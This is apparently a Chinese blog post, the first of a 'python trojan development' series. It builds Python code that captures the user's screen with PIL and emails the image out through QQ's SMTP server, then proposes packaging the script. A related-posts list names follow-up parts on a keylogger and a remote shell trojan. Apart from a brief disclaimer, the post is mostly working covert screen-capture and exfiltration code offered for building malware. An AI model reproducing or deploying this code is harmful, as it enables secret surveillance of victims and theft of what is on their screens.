import smtplib
 from email.mime.text import MIMEText
 msg_from='1@qq.com'                                 #发送方邮箱
 passwd='bd'                                   #填入发送方邮箱的授权码
 msg_to='1@qq.com'

 subject="python邮件测试"                                     #主题
 content="这是我使用python smtplib及email模块发送的邮件"
 msg = MIMEText(content)
 msg['Subject'] = subject
 msg['From'] = msg_from
 msg['To'] = msg_to
 try:
     s = smtplib.SMTP_SSL("smtp.qq.com",465)
     s.login(msg_from, passwd)
     s.sendmail(msg_from, msg_to, msg.as_string())
     print( "发送成功")
 except:
     print("发送失败")
 finally:
     s.quit()

以上是文本类型邮件的发送,不适用图片邮件的发送

以下是图片类型的邮件发送

 import smtplib
 from email.mime.text import MIMEText
 from PIL import ImageGrab
 import random
 from time import *
 from email.mime.multipart import MIMEMultipart
 from email.mime.text import MIMEText
 from email.mime.image import MIMEImage

 def send():
     sender = '1@qq.com'
     receivers = '17@qq.com'
     message =  MIMEMultipart('related')
     subject = '终于能发图片了'
     message['Subject'] = subject
     message['From'] = sender
     message['To'] = receivers
     content = MIMEText('<html><body><img src="cid:imageid" alt="imageid"></body></html>','html','utf-8')
     message.attach(content)

     file=open("F:\\12.png", "rb")
     img_data = file.read()
     file.close()

     img = MIMEImage(img_data)
     img.add_header('Content-ID', 'imageid')
     message.attach(img)

     try:
         server=smtplib.SMTP_SSL("smtp.qq.com",465)
         server.login(sender,"i")
         server.sendmail(sender,receivers,message.as_string())
         server.quit()
         print ("邮件发送成功")
     except smtplib.SMTPException as e:
         print(e)
 send()

之后我们继续学习截屏幕保存

 from PIL import ImageGrab
 import random
 from time import *

 strings = "qwertyuiopasdfghjkzcvbnm0123456789[].,/?"
 lenght  = len(strings)
 name = ""

 for j in range(1,3):
     for i in range(1,5):
         r = random.randint(1,36)
         name+=strings[r]
     im = ImageGrab.grab()
     im.save('F:\\'+name+'.png')
     name = ""

我们尝试将他们结合起来:

 import smtplib
 from email.mime.text import MIMEText
 from PIL import ImageGrab
 import random
 from time import *
 from email.mime.multipart import MIMEMultipart
 from email.mime.text import MIMEText
 from email.mime.image import MIMEImage

 def send():
     im = ImageGrab.grab()
     im.save('F:\\test.png')
     sender = '@qq.com'
     receivers = '@qq.com'
     message =  MIMEMultipart('related')
     subject = '终于能发图片了'
     message['Subject'] = subject
     message['From'] = sender
     message['To'] = receivers
     content = MIMEText('<html><body><img src="cid:imageid" alt="imageid"></body></html>','html','utf-8')
     message.attach(content)

     file=open("F:\\test.png", "rb")
     img_data = file.read()
     file.close()

     img = MIMEImage(img_data)
     img.add_header('Content-ID', 'imageid')
     message.attach(img)

     try:
         server=smtplib.SMTP_SSL("smtp.qq.com",465)
         server.login(sender,"")
         server.sendmail(sender,receivers,message.as_string())
         server.quit()
         print ("邮件发送成功")
     except smtplib.SMTPException as e:
         print(e)
 send()

欧克,成功,我们打包试试看

python trojan development 1st —— use python to send mail and caputre the screen then combine them的更多相关文章

  1. python trojan development 2nd —— use python to send mail and listen to the key board then combine them

    请勿用于非法用途!!!!!本人概不负责!!!原创作品,转载说明出处!!!!! from pynput.keyboard import Key,Listener import logging impor ...

  2. python trojan development 3rd —— use python to creative a simple shell

    前两篇文章的木马太被动,今天是通过socket和os来进行主动木马编写 有些s13,我真的搞不懂拿一些没过脑子的代码就放到网上去害人,骗流量,还某知名安全企业学院写的,真的服.我的代码自己运行过,很稳 ...

  3. Python Geospatial Development reading note(1)

    chapter 1, Summary: In this chapter, we briefly introduced the Python programming language and the m ...

  4. Beginning Python Games Development

    Like music and movies, video games are rapidly becoming an integral part of our lives. Over the year ...

  5. Python 3.4 send mail

    #coding=utf-8 #Python 3.4 https://docs.python.org/3.4/library/ #IDE:Visual Studio 2015 Window10 impo ...

  6. 【Python网络编程】利用Python进行TCP、UDP套接字编程

    之前实现了Java版本的TCP和UDP套接字编程的例子,于是决定结合Python的学习做一个Python版本的套接字编程实验. 流程如下: 1.一台客户机从其标准输入(键盘)读入一行字符,并通过其套接 ...

  7. 【转】linux和windows下安装python集成开发环境及其python包

    本系列分为两篇: 1.[转]windows和linux中搭建python集成开发环境IDE 2.[转]linux和windows下安装python集成开发环境及其python包 3.windows和l ...

  8. python公司面试题集锦 python面试题大全

    问题一:以下的代码的输出将是什么? 说出你的答案并解释. class Parent(object): x = 1 class Child1(Parent): pass class Child2(Par ...

  9. python 2016 大会 pyconsk ppt ---python dtrace

    https://github.com/pyconsk/2016-slides PyCon SK 2016 - March 2016 1DTrace and PythonJesús Cea Aviónj ...

随机推荐

  1. node lesson5--async

    https://github.com/alsotang/node-lessons/tree/master/lesson5 https://github.com/nswbmw/N-blog/wiki/% ...

  2. 图像处理结果的度量 —— SNR、PSNR、SSIM

    衡量两幅图像的相似度: SNR/PSNR SSIM 1. SNR vs PSNR about SNR 和 PSNR MSE:mean squared error ∑x=1Nx∑y=1Ny(f(x,y) ...

  3. 简明Python3教程 11.数据结构

    简介 数据结构基本上就是 – 可以将一些数据结合到一起的结构,换言之用于存储一组相关的数据. python拥有4种内建数据结构 – 列表,元组(tuple),字典和集合. 我们将看到如何它们,它们又是 ...

  4. sdut 5-1 继承和派生

    5-1 继承与派生 Time Limit: 1000MS Memory limit: 65536K 题目描写叙述 通过本题目的练习能够掌握继承与派生的概念.派生类的定义和用法.当中派生类构造函数的定义 ...

  5. VUE在开发环境下实现跨域

    1. 跨域设置 VUE项目的 config文件夹下index.js文件中修改 dev: proxyTable中的内容(默认是没有内容的): 添加内容: '/list': { target: 'http ...

  6. Angular常用指令

    安装Node 先去Node官网下载并安装Node.js Install the Angular CLI(安装Angular CLI) npm install -g @angular/cli Creat ...

  7. WPF - 资源收集

    原文:WPF - 资源收集 OpenExpressApp的UI现在是使用WPF,所以熟悉WPF是必须的,以下我将可能用到的一些相关内容随时记录下来,以备查阅.此篇文章将不断更新,感兴趣的可以看看,也欢 ...

  8. Qt父窗口设置为桌面

    #include "widget.h"#include <QApplication>#include"windows.h"int main(int ...

  9. 海洋cms 模板标签手册

    海洋cms采用极其简单易用的模板技术,所有标签直接调用接口,无需复杂的编码技术,让你对界面设计得心应手,请认真阅读本文档,妥善收藏. ========= 目录 =========00.相关必要说明01 ...

  10. Expression Blend学习5控件

    原文:Expression Blend学习5控件 Expression Blend ButtonStyle- TextButton 本章以TextButton为例,讲解如何最简单,最快速的制作一个专业 ...